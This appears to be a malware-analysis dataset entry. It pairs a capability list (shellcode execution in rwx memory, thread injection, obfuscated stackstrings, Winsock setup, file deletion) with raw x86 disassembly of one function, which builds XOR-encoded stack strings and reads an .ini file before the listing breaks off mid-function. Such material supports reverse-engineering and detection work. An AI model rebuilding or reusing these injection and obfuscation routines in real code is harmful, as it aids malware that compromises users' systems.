Function at 0x454d00
Capabilities:
Allocate or change rwx memory
Check if file exists
Contain obfuscated stackstrings
Create thread
Delete file
Execute shellcode via indirect call
Initialize winsock library
Inject thread
Link many functions at runtime
Move file
Read .ini file
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f4701
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x35e8
call fcn.005c85a0
mov eax, dword [0x679dc8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x2be4], eax
call fcn.0044d900
lea eax, [ebp - 0x2be0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
call fcn.0046d570
add esp, 0xc
push 0
push 0
push 0
call fcn.0046d570
add esp, 0xc
push 0
push 0
push 0x200002
call fcn.0046d570
add esp, 0xc
mov dword [ebp - 0x2ca8], 0x2b9b8ee2
lea eax, [ebp - 0x2c98]
mov dword [ebp - 0x2ca4], 0x672b7e3e
lea ecx, [ebp - 0x30b0]
mov dword [ebp - 0x2ca0], 0x8bc2913
mov dword [ebp - 0x2c9c], 0xe6f7585
push eax
lea eax, [ebp - 0x2ca8]
push eax
call fcn.0045f980
lea eax, [ebp - 0x2ca8]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2cb8]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x30b8]
mov dword [ebp - 0x2cb8], 0x1cabbfd3
mov dword [ebp - 0x2cb4], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2cb0], 0x88c194c
mov dword [ebp - 0x2cac], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2cb8]
mov dword [ebp - 0xa00], 0x2b9b8ee2
push eax
lea eax, [ebp - 0x2cc8]
mov dword [ebp - 0x9fc], 0x672b7e3e
push eax
lea ecx, [ebp - 0x30c0]
mov dword [ebp - 0x2cc8], 0x2b9b8ee2
mov dword [ebp - 0x2cc4], 0x672b7e3e
mov dword [ebp - 0x9f8], 0x8bc2913
mov dword [ebp - 0x9f4], 0xe6f7585
mov dword [ebp - 0x2cc0], 0x8bc2913
mov dword [ebp - 0x2cbc], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xa00]
lea eax, [ebp - 0xa00]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x13b8]
push eax
movaps xmmword [ebp - 0xa00], xmm1
call fcn.0045ebd0
push 0x66fd1f
lea ecx, [ebp - 0x928]
mov dword [ebp - 4], 0
call fcn.0045ebd0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x2cc8]
push eax
mov dword [ebp - 0x2cd8], 0x6ecec9fc
lea eax, [ebp - 0x2cd8]
mov dword [ebp - 0x2cd4], 0x3d76277f
mov dword [ebp - 0x2cd0], 0x88c1963
mov dword [ebp - 0x2ccc], 0xe6f7585
push eax
lea ecx, [ebp - 0x30c8]
call fcn.0045f980
lea eax, [ebp - 0x2c88]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2c98]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x30d0]
mov dword [ebp - 0x2c98], 0x1cabbfd3
mov dword [ebp - 0x2c94], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2c90], 0x88c194c
mov dword [ebp - 0x2c8c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2ce8]
mov dword [ebp - 0x9f0], 0x6ecec9fc
push eax
lea eax, [ebp - 0x2cf8]
mov dword [ebp - 0x9ec], 0x3d76277f
push eax
lea ecx, [ebp - 0x30d8]
mov dword [ebp - 0x2cf8], 0x6ecec9fc
mov dword [ebp - 0x2cf4], 0x3d76277f
mov dword [ebp - 0x9e8], 0x88c1963
mov dword [ebp - 0x9e4], 0xe6f7585
mov dword [ebp - 0x2cf0], 0x88c1963
mov dword [ebp - 0x2cec], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x9f0]
lea eax, [ebp - 0x9f0]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x900]
push eax
movaps xmmword [ebp - 0x9f0], xmm1
call fcn.0045ebd0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x1830]
push eax
lea eax, [ebp - 0x1850]
mov dword [ebp - 0x1850], 0x72c4fcfc
push eax
lea ecx, [ebp - 0x30e0]
mov dword [ebp - 0x184c], 0x266b3a7f
mov dword [ebp - 0x1848], 0x7ae36d2f
mov dword [ebp - 0x1844], 0x620311ab
mov dword [ebp - 0x1840], 0x35986e3d
mov dword [ebp - 0x183c], 0xa3bc60fe
mov dword [ebp - 0x1838], 0x7d6825ce
mov dword [ebp - 0x1834], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1810]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1830]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x30e8]
mov dword [ebp - 0x1830], 0x1cabbfd3
mov dword [ebp - 0x182c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1828], 0x88c194c
mov dword [ebp - 0x1824], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1820], 0x35986e3d
mov dword [ebp - 0x181c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1818], 0x7d6825ce
mov dword [ebp - 0x1814], 0x5e869b7
call fcn.0045f980
mov dword [ebp - 0xdb0], 0x72c4fcfc
mov dword [ebp - 0xdac], 0x266b3a7f
mov dword [ebp - 0x1810], 0x72c4fcfc
mov dword [ebp - 0x180c], 0x266b3a7f
mov dword [ebp - 0xda8], 0x7ae36d2f
lea eax, [ebp - 0x17f0]
mov dword [ebp - 0xda4], 0x620311ab
push eax
lea eax, [ebp - 0x1810]
mov dword [ebp - 0x1808], 0x7ae36d2f
push eax
lea ecx, [ebp - 0x35f8]
mov dword [ebp - 0x1804], 0x620311ab
mov dword [ebp - 0xda0], 0x35986e3d
mov dword [ebp - 0xd9c], 0xa3bc60fe
mov dword [ebp - 0x1800], 0x35986e3d
mov dword [ebp - 0x17fc], 0xa3bc60fe
mov dword [ebp - 0xd98], 0x7d6825ce
mov dword [ebp - 0xd94], 0x5e869b7
mov dword [ebp - 0x17f8], 0x7d6825ce
mov dword [ebp - 0x17f4], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xdb0]
lea eax, [ebp - 0xdb0]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x8e8]
movaps xmmword [ebp - 0xdb0], xmm1
movaps xmm1, xmmword [ebp - 0xda0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xda0], xmm1
call fcn.0045ebd0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x2030]
push eax
lea eax, [ebp - 0x2060]
mov dword [ebp - 0x2060], 0x1cc4bf9f
push eax
lea ecx, [ebp - 0x35f0]
mov dword [ebp - 0x205c], 0x537d4e6d
mov dword [ebp - 0x2058], 0x8fe1929
mov dword [ebp - 0x2054], 0xe0075c6
mov dword [ebp - 0x2050], 0x35fe6e53
mov dword [ebp - 0x204c], 0xa3db6097
mov dword [ebp - 0x2048], 0x7d0125e0
mov dword [ebp - 0x2044], 0x58169d9
mov dword [ebp - 0x2040], 0x6ec79807
mov dword [ebp - 0x203c], 0x85ab61b8
mov dword [ebp - 0x2038], 0x2c323fc0
mov dword [ebp - 0x2034], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x2060]
mov dword [ebp - 0x870], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2090]
mov dword [ebp - 0x86c], 0x53194e0c
push eax
lea ecx, [ebp - 0x35e8]
mov dword [ebp - 0x2090], 0x1cabbfd3
mov dword [ebp - 0x208c], 0x53194e0c
mov dword [ebp - 0x868], 0x88c194c
mov dword [ebp - 0x864], 0xe6f7585
mov dword [ebp - 0x2088], 0x88c194c
mov dword [ebp - 0x2084], 0xe6f7585
mov dword [ebp - 0x860], 0x35986e3d
mov dword [ebp - 0x85c], 0xa3bc60fe
mov dword [ebp - 0x2080], 0x35986e3d
mov dword [ebp - 0x207c], 0xa3bc60fe
mov dword [ebp - 0x858], 0x7d6825ce
mov dword [ebp - 0x854], 0x5e869b7
mov dword [ebp - 0x2078], 0x7d6825ce
mov dword [ebp - 0x2074], 0x5e869b7
mov dword [ebp - 0x850], 0x6ec79807
mov dword [ebp - 0x84c], 0x85ab61b8
mov dword [ebp - 0x2070], 0x6ec79807
mov dword [ebp - 0x206c], 0x85ab61b8
mov dword [ebp - 0x848], 0x2c323fc0
mov dword [ebp - 0x844], 0x6ee09d91
mov dword [ebp - 0x2068], 0x2c323fc0
mov dword [ebp - 0x2064], 0x6ee09d91
call fcn.0045f980
mov dword [ebp - 0xfd0], 0x1cc4bf9f
mov dword [ebp - 0xfcc], 0x537d4e6d
mov dword [ebp - 0x1ca0], 0x1cc4bf9f
mov dword [ebp - 0x1c9c], 0x537d4e6d
lea eax, [ebp - 0x1c70]
mov dword [ebp - 0xfc8], 0x8fe1929
push eax
lea eax, [ebp - 0x1ca0]
mov dword [ebp - 0xfc4], 0xe0075c6
push eax
lea ecx, [ebp - 0x35e0]
mov dword [ebp - 0x1c98], 0x8fe1929
mov dword [ebp - 0x1c94], 0xe0075c6
mov dword [ebp - 0xfc0], 0x35fe6e53
mov dword [ebp - 0xfbc], 0xa3db6097
mov dword [ebp - 0x1c90], 0x35fe6e53
mov dword [ebp - 0x1c8c], 0xa3db6097
mov dword [ebp - 0xfb8], 0x7d0125e0
mov dword [ebp - 0xfb4], 0x58169d9
mov dword [ebp - 0x1c88], 0x7d0125e0
mov dword [ebp - 0x1c84], 0x58169d9
mov dword [ebp - 0xfb0], 0x6ec79807
mov dword [ebp - 0xfac], 0x85ab61b8
mov dword [ebp - 0x1c80], 0x6ec79807
mov dword [ebp - 0x1c7c], 0x85ab61b8
mov dword [ebp - 0xfa8], 0x2c323fc0
mov dword [ebp - 0xfa4], 0x6ee09d91
mov dword [ebp - 0x1c78], 0x2c323fc0
mov dword [ebp - 0x1c74], 0x6ee09d91
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xfd0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x870]
movaps xmmword [ebp - 0xfd0], xmm1
movaps xmm1, xmmword [ebp - 0xfc0]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xfc0], xmm1
lea eax, [ebp - 0xfd0]
movaps xmm1, xmmword [ebp - 0xfb0]
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xfb0], xmm1
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea eax, [ebp - 0x17d0]
mov dword [ebp - 0x17f0], 0x1ccabf9f
push eax
lea eax, [ebp - 0x17f0]
mov dword [ebp - 0x17ec], 0x537e4e62
push eax
lea ecx, [ebp - 0x35d8]
mov dword [ebp - 0x17e8], 0x8ed1939
mov dword [ebp - 0x17e4], 0xe0a75e2
mov dword [ebp - 0x17e0], 0x35986e3d
mov dword [ebp - 0x17dc], 0xa3bc60fe
mov dword [ebp - 0x17d8], 0x7d6825ce
mov dword [ebp - 0x17d4], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x17b0]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x17d0]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x35d0]
mov dword [ebp - 0x17d0], 0x1cabbfd3
mov dword [ebp - 0x17cc], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x17c8], 0x88c194c
mov dword [ebp - 0x17c4], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x17c0], 0x35986e3d
mov dword [ebp - 0x17bc], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x17b8], 0x7d6825ce
mov dword [ebp - 0x17b4], 0x5e869b7
call fcn.0045f980
mov dword [ebp - 0xdd0], 0x1ccabf9f
mov dword [ebp - 0xdcc], 0x537e4e62
mov dword [ebp - 0x17b0], 0x1ccabf9f
lea eax, [ebp - 0x1790]
mov dword [ebp - 0x17ac], 0x537e4e62
push eax
lea eax, [ebp - 0x17b0]
mov dword [ebp - 0xdc8], 0x8ed1939
push eax
lea ecx, [ebp - 0x35c8]
mov dword [ebp - 0xdc4], 0xe0a75e2
mov dword [ebp - 0x17a8], 0x8ed1939
mov dword [ebp - 0x17a4], 0xe0a75e2
mov dword [ebp - 0xdc0], 0x35986e3d
mov dword [ebp - 0xdbc], 0xa3bc60fe
mov dword [ebp - 0x17a0], 0x35986e3d
mov dword [ebp - 0x179c], 0xa3bc60fe
mov dword [ebp - 0xdb8], 0x7d6825ce
mov dword [ebp - 0xdb4], 0x5e869b7
mov dword [ebp - 0x1798], 0x7d6825ce
mov dword [ebp - 0x1794], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xdd0]
lea eax, [ebp - 0x2cf8]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x35c0]
movaps xmmword [ebp - 0xdd0], xmm1
movaps xmm1, xmmword [ebp - 0xdc0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2d08]
movaps xmmword [ebp - 0xdc0], xmm1
push eax
mov dword [ebp - 0x2d08], 0x1cc4bf90
mov dword [ebp - 0x2d04], 0x537f4e62
mov dword [ebp - 0x2d00], 0x8eb1925
mov dword [ebp - 0x2cfc], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2d08]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2d18]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x35b8]
mov dword [ebp - 0x2d18], 0x1cabbfd3
mov dword [ebp - 0x2d14], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2d10], 0x88c194c
mov dword [ebp - 0x2d0c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2d18]
mov dword [ebp - 0x9e0], 0x1cc4bf90
push eax
lea eax, [ebp - 0x2d28]
mov dword [ebp - 0x9dc], 0x537f4e62
push eax
lea ecx, [ebp - 0x35b0]
mov dword [ebp - 0x2d28], 0x1cc4bf90
mov dword [ebp - 0x2d24], 0x537f4e62
mov dword [ebp - 0x9d8], 0x8eb1925
mov dword [ebp - 0x9d4], 0xe6f7585
mov dword [ebp - 0x2d20], 0x8eb1925
mov dword [ebp - 0x2d1c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x9e0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push eax
push 0x3e7
lea eax, [ebp - 0xdd0]
movaps xmmword [ebp - 0x9e0], xmm1
push eax
lea eax, [ebp - 0x9e0]
push eax
call esi
mov edi, eax
mov dword [ebp - 0x1790], 0x1cd9bf87
mov dword [ebp - 0x178c], 0x535a4e75
mov dword [ebp - 0x1788], 0x8f91923
mov dword [ebp - 0x1784], 0xe1b75eb
mov dword [ebp - 0x1780], 0x35986e3d
lea eax, [ebp - 0x1770]
mov dword [ebp - 0x177c], 0xa3bc60fe
push eax
lea eax, [ebp - 0x1790]
mov dword [ebp - 0x1778], 0x7d6825ce
push eax
lea ecx, [ebp - 0x35a8]
mov dword [ebp - 0x1774], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1750]
mov dword [ebp - 0x860], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1770]
mov dword [ebp - 0x85c], 0x53194e0c
push eax
lea ecx, [ebp - 0x35a0]
mov dword [ebp - 0x1770], 0x1cabbfd3
mov dword [ebp - 0x176c], 0x53194e0c
mov dword [ebp - 0x858], 0x88c194c
mov dword [ebp - 0x854], 0xe6f7585
mov dword [ebp - 0x1768], 0x88c194c
mov dword [ebp - 0x1764], 0xe6f7585
mov dword [ebp - 0x850], 0x35986e3d
mov dword [ebp - 0x84c], 0xa3bc60fe
mov dword [ebp - 0x1760], 0x35986e3d
mov dword [ebp - 0x175c], 0xa3bc60fe
mov dword [ebp - 0x848], 0x7d6825ce
mov dword [ebp - 0x844], 0x5e869b7
mov dword [ebp - 0x1758], 0x7d6825ce
mov dword [ebp - 0x1754], 0x5e869b7
call fcn.0045f980
lea eax, [ebp - 0x1850]
mov dword [ebp - 0xe10], 0x1cd9bf87
push eax
lea eax, [ebp - 0x1870]
mov dword [ebp - 0xe0c], 0x535a4e75
push eax
lea ecx, [ebp - 0x3598]
mov dword [ebp - 0x1870], 0x1cd9bf87
mov dword [ebp - 0x186c], 0x535a4e75
mov dword [ebp - 0xe08], 0x8f91923
mov dword [ebp - 0xe04], 0xe1b75eb
mov dword [ebp - 0x1868], 0x8f91923
mov dword [ebp - 0x1864], 0xe1b75eb
mov dword [ebp - 0xe00], 0x35986e3d
mov dword [ebp - 0xdfc], 0xa3bc60fe
mov dword [ebp - 0x1860], 0x35986e3d
mov dword [ebp - 0x185c], 0xa3bc60fe
mov dword [ebp - 0xdf8], 0x7d6825ce
mov dword [ebp - 0xdf4], 0x5e869b7
mov dword [ebp - 0x1858], 0x7d6825ce
mov dword [ebp - 0x1854], 0x5e869b7
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xe10]
lea eax, [ebp - 0x2d28]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3590]
movaps xmmword [ebp - 0xe10], xmm1
movaps xmm1, xmmword [ebp - 0xe00]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2d38]
movaps xmmword [ebp - 0xe00], xmm1
push eax
mov dword [ebp - 0x2d38], 0x1cffbf81
mov dword [ebp - 0x2d34], 0x53194e0c
mov dword [ebp - 0x2d30], 0x88c194c
mov dword [ebp - 0x2d2c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2d38]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2d48]
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x2d48], 0x1cabbfd3
mov dword [ebp - 0x2d44], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2d40], 0x88c194c
mov dword [ebp - 0x2d3c], 0xe6f7585
push eax
lea ecx, [ebp - 0x3588]
call fcn.0045f980
lea eax, [ebp - 0x2d48]
mov dword [ebp - 0x9d0], 0x1cffbf81
push eax
lea eax, [ebp - 0x2d58]
mov dword [ebp - 0x9cc], 0x53194e0c
push eax
lea ecx, [ebp - 0x3580]
mov dword [ebp - 0x2d58], 0x1cffbf81
mov dword [ebp - 0x2d54], 0x53194e0c
mov dword [ebp - 0x9c8], 0x88c194c
mov dword [ebp - 0x9c4], 0xe6f7585
mov dword [ebp - 0x2d50], 0x88c194c
mov dword [ebp - 0x2d4c], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x9d0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0
lea eax, [ebp - 0xe10]
movaps xmmword [ebp - 0x9d0], xmm1
push eax
lea eax, [ebp - 0x9d0]
push eax
call esi
mov dword [ebp - 0x2bf0], eax
cmp edi, 0x3e7
jne 0x456183
lea eax, [ebp - 0x1ca0]
mov dword [ebp - 0x1cd0], 0x7dced383
push eax
lea eax, [ebp - 0x1cd0]
mov dword [ebp - 0x1ccc], 0x30392b7f
push eax
lea ecx, [ebp - 0x3578]
mov dword [ebp - 0x1cc8], 0x7be37624
mov dword [ebp - 0x1cc4], 0x6f0355e0
mov dword [ebp - 0x1cc0], 0x54ed0953
mov dword [ebp - 0x1cbc], 0xd59c0599
mov dword [ebp - 0x1cb8], 0x141b57ab
mov dword [ebp - 0x1cb4], 0x25d207d8
mov dword [ebp - 0x1cb0], 0x6ec79807
mov dword [ebp - 0x1cac], 0x85ab61b8
mov dword [ebp - 0x1ca8], 0x2c323fc0
mov dword [ebp - 0x1ca4], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1cd0]
mov dword [ebp - 0x870], 0x1cabbfd3
push eax
lea eax, [ebp - 0x1d00]
mov dword [ebp - 0x86c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3570]
mov dword [ebp - 0x1d00], 0x1cabbfd3
mov dword [ebp - 0x1cfc], 0x53194e0c
mov dword [ebp - 0x868], 0x88c194c
mov dword [ebp - 0x864], 0xe6f7585
mov dword [ebp - 0x1cf8], 0x88c194c
mov dword [ebp - 0x1cf4], 0xe6f7585
mov dword [ebp - 0x860], 0x35986e3d
mov dword [ebp - 0x85c], 0xa3bc60fe
mov dword [ebp - 0x1cf0], 0x35986e3d
mov dword [ebp - 0x1cec], 0xa3bc60fe
mov dword [ebp - 0x858], 0x7d6825ce
mov dword [ebp - 0x854], 0x5e869b7
mov dword [ebp - 0x1ce8], 0x7d6825ce
mov dword [ebp - 0x1ce4], 0x5e869b7
mov dword [ebp - 0x850], 0x6ec79807
mov dword [ebp - 0x84c], 0x85ab61b8
mov dword [ebp - 0x1ce0], 0x6ec79807
mov dword [ebp - 0x1cdc], 0x85ab61b8
mov dword [ebp - 0x848], 0x2c323fc0
mov dword [ebp - 0x844], 0x6ee09d91
mov dword [ebp - 0x1cd8], 0x2c323fc0
mov dword [ebp - 0x1cd4], 0x6ee09d91
call fcn.0045f980
lea eax, [ebp - 0x1d30]
mov dword [ebp - 0xfa0], 0x7dced383
push eax
lea eax, [ebp - 0x1d60]
mov dword [ebp - 0xf9c], 0x30392b7f
push eax
lea ecx, [ebp - 0x3568]
mov dword [ebp - 0x1d60], 0x7dced383
mov dword [ebp - 0x1d5c], 0x30392b7f
mov dword [ebp - 0xf98], 0x7be37624
mov dword [ebp - 0xf94], 0x6f0355e0
mov dword [ebp - 0x1d58], 0x7be37624
mov dword [ebp - 0x1d54], 0x6f0355e0
mov dword [ebp - 0xf90], 0x54ed0953
mov dword [ebp - 0xf8c], 0xd59c0599
mov dword [ebp - 0x1d50], 0x54ed0953
mov dword [ebp - 0x1d4c], 0xd59c0599
mov dword [ebp - 0xf88], 0x141b57ab
mov dword [ebp - 0xf84], 0x25d207d8
mov dword [ebp - 0x1d48], 0x141b57ab
mov dword [ebp - 0x1d44], 0x25d207d8
mov dword [ebp - 0xf80], 0x6ec79807
mov dword [ebp - 0xf7c], 0x85ab61b8
mov dword [ebp - 0x1d40], 0x6ec79807
mov dword [ebp - 0x1d3c], 0x85ab61b8
mov dword [ebp - 0xf78], 0x2c323fc0
mov dword [ebp - 0xf74], 0x6ee09d91
mov dword [ebp - 0x1d38], 0x2c323fc0
mov dword [ebp - 0x1d34], 0x6ee09d91
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xfa0]
pxor xmm1, xmmword [ebp - 0x870]
movaps xmmword [ebp - 0xfa0], xmm1
movaps xmm1, xmmword [ebp - 0x860]
lea edx, [ebp - 0xfa0]
pxor xmm1, xmmword [ebp - 0xf90]
mov ecx, 0x67de28
movaps xmmword [ebp - 0xf90], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xf80]
movaps xmmword [ebp - 0xf80], xmm1
call fcn.00460c60
push fcn.00461030
mov ecx, eax
call fcn.0045e490
lea eax, [ebp - 0x2d58]
mov dword [ebp - 0x2d68], 0x3c918ef3
push eax
lea eax, [ebp - 0x2d68]
mov dword [ebp - 0x2d64], 0x3d7c2758
push eax
lea ecx, [ebp - 0x3560]
mov dword [ebp - 0x2d60], 0x61da392b
mov dword [ebp - 0x2d5c], 0xe4f01e0
call fcn.0045f980
lea eax, [ebp - 0x2d68]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2d78]
mov dword [ebp - 0x84c], 0x53194e0c
push eax
lea ecx, [ebp - 0x3558]
mov dword [ebp - 0x2d78], 0x1cabbfd3
mov dword [ebp - 0x2d74], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2d70], 0x88c194c
mov dword [ebp - 0x2d6c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2d78]
mov dword [ebp - 0x9c0], 0x3c918ef3
push eax
lea eax, [ebp - 0x2d88]
mov dword [ebp - 0x9bc], 0x3d7c2758
push eax
lea ecx, [ebp - 0x3550]
mov dword [ebp - 0x2d88], 0x3c918ef3
mov dword [ebp - 0x2d84], 0x3d7c2758
mov dword [ebp - 0x9b8], 0x61da392b
mov dword [ebp - 0x9b4], 0xe4f01e0
mov dword [ebp - 0x2d80], 0x61da392b
mov dword [ebp - 0x2d7c], 0xe4f01e0
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0x9c0]
lea edx, [ebp - 0x9c0]
pxor xmm1, xmmword [ebp - 0x850]
mov ecx, 0x67de28
movaps xmmword [ebp - 0x9c0], xmm1
call fcn.00460c60
push fcn.00461030
mov ecx, eax
call fcn.0045e490
lea eax, [ebp - 0x2d88]
mov dword [ebp - 0x2d98], 0x3c918df3
push eax
lea eax, [ebp - 0x2d98]
mov dword [ebp - 0x2d94], 0x3f7e2049
push eax
lea ecx, [ebp - 0x3548]
mov dword [ebp - 0x2d90], 0x28e46a25
mov dword [ebp - 0x2d8c], 0xe6f7585
call fcn.0045f980
lea eax, [ebp - 0x2d98]
mov dword [ebp - 0x850], 0x1cabbfd3
push eax
lea eax, [ebp - 0x2da8]
mov dword [ebp - 0x84c], 0x53194e0c
mov dword [ebp - 0x2da8], 0x1cabbfd3
mov dword [ebp - 0x2da4], 0x53194e0c
mov dword [ebp - 0x848], 0x88c194c
mov dword [ebp - 0x844], 0xe6f7585
mov dword [ebp - 0x2da0], 0x88c194c
mov dword [ebp - 0x2d9c], 0xe6f7585
push eax
lea ecx, [ebp - 0x3540]
call fcn.0045f980
lea eax, [ebp - 0x2da8]
mov dword [ebp - 0xa30], 0x3c918df3
push eax
lea eax, [ebp - 0x2db8]
mov dword [ebp - 0xa2c], 0x3f7e2049
push eax
lea ecx, [ebp - 0x3538]
mov dword [ebp - 0x2db8], 0x3c918df3
mov dword [ebp - 0x2db4], 0x3f7e2049
mov dword [ebp - 0xa28], 0x28e46a25
mov dword [ebp - 0xa24], 0xe6f7585
mov dword [ebp - 0x2db0], 0x28e46a25
mov dword [ebp - 0x2dac], 0xe6f7585
call fcn.0045f980
movaps xmm1, xmmword [ebp - 0xa30]
lea edx, [ebp - 0xa30]
pxor xmm1, xmmword [ebp - 0x850]
mov ecx, 0x67de28
movaps xmmword [ebp - 0xa30], xmm1
call fcn.00460c60
push fcn.00461030
mov ecx, eax
call fcn.0045e490
jmp 0x4562e0
cmp edi, 1
je 0x456378
cmp edi, 2
je 0x456378
mov dword [ebp - 0x1210], 0x7dddd19a
lea edx, [ebp - 0x1210]
mov dword [ebp - 0x120c], 0x737d2760
mov ecx, 0x67de28
mov dword [ebp - 0x1208], 0x6fe27820
mov dword [ebp - 0x1204], 0x6b0814f0
mov dword [ebp - 0x1200], 0x59e84e11
mov dword [ebp - 0x11fc], 0xc6cf019b
mov dword [ebp - 0x11f8], 0x110d56ee
mov dword [ebp - 0x11f4], 0x259c0ad2
mov dword [ebp - 0x11f0], 0x7a6ff66
mov dword [ebp - 0x11ec], 0x85ab4fd6
mov dword [ebp - 0x11e8], 0x2c323fc0
mov dword [ebp - 0x11e4], 0x6ee09d91
mov dword [ebp - 0x8a0], 0x1cabbfd3
mov dword [ebp - 0x89c], 0x53194e0c
mov dword [ebp - 0x898], 0x88c194c
mov dword [ebp - 0x894], 0xe6f7585
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1210]
movaps xmmword [ebp - 0x1210], xmm1
mov dword [ebp - 0x890], 0x35986e3d
mov dword [ebp - 0x88c], 0xa3bc60fe
mov dword [ebp - 0x888], 0x7d6825ce
mov dword [ebp - 0x884], 0x5e869b7
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1200]
movaps xmmword [ebp - 0x1200], xmm1
mov dword [ebp - 0x880], 0x6ec79807
mov dword [ebp - 0x87c], 0x85ab61b8
mov dword [ebp - 0x878], 0x2c323fc0
mov dword [ebp - 0x874], 0x6ee09d91
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x11f0]
movaps xmmword [ebp - 0x11f0], xmm1
call fcn.00460c60
push eax
call fcn.00461030
add esp, 4
mov dword [ebp - 0xad0], 0x6eded08a
lea edx, [ebp - 0xad0]
